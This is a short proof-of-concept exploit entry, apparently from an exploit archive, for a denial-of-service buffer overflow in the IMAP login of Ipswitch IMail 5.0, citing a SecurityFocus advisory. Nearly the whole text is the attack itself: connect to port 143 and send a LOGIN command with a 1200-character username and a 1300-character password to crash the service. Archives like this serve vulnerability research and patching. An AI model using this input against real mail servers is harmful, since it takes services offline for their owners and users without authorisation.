Ipswitch IMail 5.0 - Imapd Buffer Overflow (Denial of Service) (PoC)

                							

                source: http://www.securityfocus.com/bid/502/info

The imapd login process is susceptible to a buffer overflow attack which will crash the service. 


Telnet to target machine, port 143
* OK IMAP4 Server (IMail 4.06)
X LOGIN glob1 glob2

Where glob1 is 1200 characters and glob2 is 1300 characters.